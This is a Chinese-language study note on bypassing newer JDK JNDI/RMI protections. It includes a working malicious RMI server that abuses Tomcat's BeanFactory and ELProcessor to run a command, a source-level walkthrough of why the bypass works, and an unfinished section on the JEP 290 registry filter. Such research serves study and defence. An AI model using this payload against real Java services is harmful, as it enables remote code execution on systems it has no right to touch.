高版本 JDK RMI JNDI Bypass 学习笔记
简介
此片文章我们以jdk 1.8为例进行介绍
众所周知,Oracle在jdk 8u121 版本中添加了 JEP290 以及对com.sun.jndi.rmi.object.trustURLCodebase
的校验
然后又在以及8u 191这个版本中添加了针对com.sun.jndi.ldap.object.trustURLCodebase
属性的校验,导致在高版本JDK中 无法通过 反序列化 rmi reference
和ldap Reference
来进行RCE攻击
所以如果目标服务器上使用的是高版本JDK,且存在有JDNI注入等RCE的点,那我们想要利用成功就必须要绕过以上的种种限制
绕过姿势1
首先是来自一个国外大佬提供的思路,该姿势的核心思想就是在本地查找可利用的ObjectFactory
。
先粘贴下服务端的代码
public class RMIProvider5 {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, NamingException {
System.out.println("Creating evil RMI registry on port 1099");
Registry registry = LocateRegistry.getRegistry(1099);
//prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
//这里使用了ResourceRef,ResourceRef是Reference的子类
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
//redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
ref.add(new StringRefAddr("forceString", "x=eval"));
//expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
/**这里需要注意,由于jdk版本不同 在jdk 8u20版本进行测试的时候是会报错的,在jdk 8u121及其之后的版本测试是会成功的,主要原因出在NashornScriptEngine这个类上 具体报错是什么原因就不是很想深究了,也没什么深究的意义*/
ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['open','/Applications/Calculator.app']).start()\")"));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("refObj", referenceWrapper);
}
}
在之前一片文章中有写过JNDI在处理Reference
的时候会尝试先从本地加载传递来的classFactory
,然后本地加载不到才会在通过URLClassloader
去远程加载,但是不管这个类是本地加载的还是远程加载的都要符合一个关键条件就是要实现javax.naming.spi.ObjectFactory
这个接口,下面说下原因
//由于返回值必须是ObjectFactory类型,如果想要程序可以正常返回上一个方法并且可以不报错的继续执行,那我们就需要一个实现了ObjectFactory接口的类
static ObjectFactory getObjectFactoryFromReference(
Reference ref, String factoryName)
throws IllegalAccessException,
InstantiationException,
MalformedURLException {
Class<?> clas = null;
// Try to use current class loader
try {
//这里会将通过Reference传递过来的classfactory先用AppClassloader从本地尝试加载一遍,这里也就是我们绕过高版本JDK限制的点
clas = helper.loadClass(factoryName);
} catch (ClassNotFoundException e) {
// ignore and continue
// e.printStackTrace();
}
// All other exceptions are passed up.
// Not in class path; try to use codebase
String codebase;
if (clas == null &&
(codebase = ref.getFactoryClassLocation()) != null) {
try {
//这里是低版本通过rmi Reference 或者ldap远程加载恶意类的点,由于在JDK 8u191版本之后对
//com.sun.jndi.ldap.object.trustURLCodebase
//com.sun.jndi.rmi.object.trustURLCodebase
//全部进行了校验所以该点已经基本不可利用了
//不过在低版本中 这个远程加载的恶意类可以不实现ObjectFactory接口
//因为恶意代码是写在了静态代码块中,只要类加载到了本地,静态代码块就会执行,
//不过就是如果恶意类没有实现ObjectFactory接口,后续会抛出异常罢了,因为返回值类型不对么。
clas = helper.loadClass(factoryName, codebase);
} catch (ClassNotFoundException e) {
}
}
return (clas != null) ? (ObjectFactory) clas.newInstance() : null;
}
现在我们清楚这个绕过姿势的核心思想,同样使用的是Reference对象,但是从之前的直接远程加载恶意类到本地变成了先从本地加载一个实现了ObjectFactory
接口的类,这样就导致的一个问题,就是这种利用方式高度依赖于目标站点所依赖的jar包。
我们可以看下ObjectFactory
接口中都定义了哪些方法
public interface ObjectFactory {
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws Exception;
}
根据源码可以看到ObjectFactory
内只定义了一个getObjectInstance
方法
这个方法很关键,为什么这样说我们返回到调用getObjectFactoryFromReference
方法的地方去
factory = getObjectFactoryFromReference(ref, f);
if (factory != null) {
//ref这个参数可控
return factory.getObjectInstance(ref, name, nameCtx,
environment);
}
可以看到程序会调用ObjectFactory.getObjectInstance()
方法,也就是说我们只需要找到一个实现了ObjectFactory
的类,且该类在getObjectInstance
方法中对外部传入的参数进行也高危操作。
顺着这个思路,就找到了这么一个类org.apache.naming.factory.BeanFactory
该类存在于tomcat-catalina.jar包中,我们来看看这个BeanFactory
中的getObjectInstance
方法的部分实现
public Object getObjectInstance(Object obj, Name name, Context nameCtx,
Hashtable<?,?> environment)
throws NamingException {
if (obj instanceof ResourceRef) {
try {
//将传入的object参数强转为Reference对象
Reference ref = (Reference) obj;
//获取reference对像中的classname属性
String beanClassName = ref.getClassName();
Class<?> beanClass = null;
//获取当前上下文的Classloader,也就是AppClassLoader
ClassLoader tcl =
Thread.currentThread().getContextClassLoader();
if (tcl != null) {
try {
//通过AppClassLoader加载reference对像中的classname属性中所存储的类对象
beanClass = tcl.loadClass(beanClassName);
} catch(ClassNotFoundException e) {
}
} else {
try {
beanClass = Class.forName(beanClassName);
} catch(ClassNotFoundException e) {
e.printStackTrace();
}
}
if (beanClass == null) {
throw new NamingException
("Class not found: " + beanClassName);
}
BeanInfo bi = Introspector.getBeanInfo(beanClass);
PropertyDescriptor[] pda = bi.getPropertyDescriptors();
//实例化该对象
Object bean = beanClass.newInstance();
/* Look for properties with explicitly configured setter */
//获取ResourceRef.addr[]中addrType为forceString的addr
RefAddr ra = ref.get("forceString");
Map<String, Method> forced = new HashMap<String, Method>();
String value;
if (ra != null) {
//获取addrType为forceString的addr的contents,这里contes的值为
//"x=eval"
value = (String)ra.getContent();
Class<?> paramTypes[] = new Class[1];
paramTypes[0] = String.class;
String setterName;
int index;
/* Items are given as comma separated list */
//将“x=eval”这段字符串进行分割
for (String param: value.split(",")) {
param = param.trim();
/* A single item can either be of the form name=method
* or just a property name (and we will use a standard
* setter) */
//获取 = 号前面的部分,也就是“x”
index = param.indexOf('=');
if (index >= 0) {
//获取 = 号后面的内容 也就是“eval”
setterName = param.substring(index + 1).trim();
param = param.substring(0, index).trim();
} else {
setterName = "set" +
param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
param.substring(1);
}
try {
//将“x”作为key 通过反射的形式
//ElProcessor.class.getMethod("eval",new Class[1])
//获取eval方法对象并作为value一同存入forced这个HashMap中
forced.put(param,
beanClass.getMethod(setterName, paramTypes));
} catch (NoSuchMethodException ex) {
throw new NamingException
("Forced String setter " + setterName +
" not found for property " + param);
} catch (SecurityException ex) {
throw new NamingException
("Forced String setter " + setterName +
" not allowed for property " + param);
}
}
}
Enumeration<RefAddr> e = ref.getAll();
while (e.hasMoreElements()) {
ra = e.nextElement();
String propName = ra.getType();
//循环找到“x”所对应的addr
if (propName.equals(Constants.FACTORY) ||
propName.equals("scope") || propName.equals("auth") ||
propName.equals("forceString") ||
propName.equals("singleton")) {
continue;
}
//获取其中的contents 也就是payload
value = (String)ra.getContent();
Object[] valueArray = new Object[1];
/* Shortcut for properties with explicitly configured setter */
//从forced这个hashmap中取出key为x的一项
Method method = forced.get(propName);
if (method != null) {
valueArray[0] = value;
try {
//通过反射的方式调用ElProcessor.eval方法并将payload作为参数传入
method.invoke(bean, valueArray);
可以看到该部分的代码是将我们在Reference
中指定的className
通过反射的形式给实例化出来了,并解析传递来的Reference
对象,最终通过反射的形式调用了ElProcessor.eval方法将payload作为参数传入然后执行。
这就是通过加载本地ObjectFactory的方式进行RMI Reference攻击,以上案例中使用到了以下几个类
org.apache.naming.factory.BeanFactory
该类依赖于tomcat-catalina.jar
javax.el.ELProcessor
和该类依赖于tomcat-embed-el.jar 尝试过使用javax.el-api.jar 和el-ri.jar但是会报各种错误
也就是说只有在目标目标服务器上存在上述jar包时,案例中的方法才能够利用成功,所以该方法非常局限。
绕过姿势2
众所周知,在Oracle 在JDK 高版本中添加了一项针对java反序列化漏洞的机制 JEP 290,影响范围由以下三个版本及其及后的所有版本,
- Java™ SE Development Kit 8, Update 121 (JDK 8u121)
- Java™ SE Development Kit 7, Update 131 (JDK 7u131)
- Java™ SE Development Kit 6, Update 141 (JDK 6u141)
这里简单介绍下JEP 290
JEP 290主要提供了以下几种机制
1 提供一个限制反序列化类的机制,白名单或者黑名单
2 限制反序列化的深度和复杂度
3 为RMI远程调用对象提供了一个验证类的机制
4 定义一个可配置的过滤机制,比如可以通过配置properties文件的形式来定义过滤器
通俗点说就是我们可以通过自定义白名单或者黑名单的方式来对传递过来的反序列化数据进行校验,同时可以自定义一次反序列化行为的次数和深度
在JDK 8u121 版本之前 我们可以通过 ysoserial中的RMIRegistryExploit
搭配指定的gadget来攻击 Registry
该攻击方式本质上就是利用了RMI server在调用 bind方法向Registry
注册远程对象方法时传递的是一个Proxy对象,该对象为Proxy搭配上RemoteObjectInvocationHandler,反序列化时只会判断是否是Proxy对象并不会判断该Proxy对象里面用的是什么InvocationHandler,所以我们可以使用经典的搭配Proxy加上AnnotationInvocationHandler再配上指定的gadget就可以轻松RCE。
但是在JDK 8u121版本之后添加了JEP 290 本质上就是提供了一个ObjectInputFilter
该接口是一个函数式接口只有一个抽象方法checkInput
方法
//该方法在调用时需要传递一个实现了FilterInfo接口的对象进去
ObjectInputFilter.Status checkInput(ObjectInputFilter.FilterInfo var1);
//下面是FilterInfo接口的相关细节
public interface FilterInfo {
Class<?> serialClass();
long arrayLength();
long depth();
long references();
long streamBytes();
}
同时在JDK 8u121版本之后的RMI服务中 Registry
在实例化的过程中就 就自定义了一份校验规则在反序列化服务端传递来的Proxy对象时进行校验。
private static Status registryFilter(FilterInfo var0) {
if (registryFilter != null) {
Status var1 = registryFilter.checkInput(var0);
if (var1 != Status.UNDECIDED) {
return var1;
}
}
//判断反序列化深度 不能超过20
if (var0.depth() > 20L) {
return Status.REJECTED;
} else {
Class var2 = var0.serialClass();
if (var2 != null) {
if (!var2.isArray()) {
//白名单校验,只有下列类允许被反序列化,不在白名单内的类在反序列化时会抛出异常。
return String.class != var2 && !Number.class.isAssignableFrom(var2) && !Remote.class.isAssignableFrom(var2) && !Proxy.class.isAssignableFrom(var2) && !UnicastRef.class.isAssignableFrom(var2) && !RMIClientSocketFactory.class.isAssignableFrom(var2) && !RMIServerSocketFactory.class.isAssignableFrom(var2) && !ActivationID.class.isAssignableFrom(var2) && !UID.class.isAssignableFrom(var2) ? Status.REJECTED : Status.ALLOWED;
} else {
return var0.arrayLength() >= 0L && var0.arrayLength() > 1000000L ? Status.REJECTED : Status.UNDECIDED;
}
} else {
return Status.UNDECIDED;
}
}
}
所以Proxy加上AnnotationInvocationHandler的形式就不再适用了,
如果想要在高版本 JDK的限制下 成功反序列化Rce 那么利用连就只能从白名单里的这些类中找
未完待续
参考链接
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
https://www.anquanke.com/post/id/211722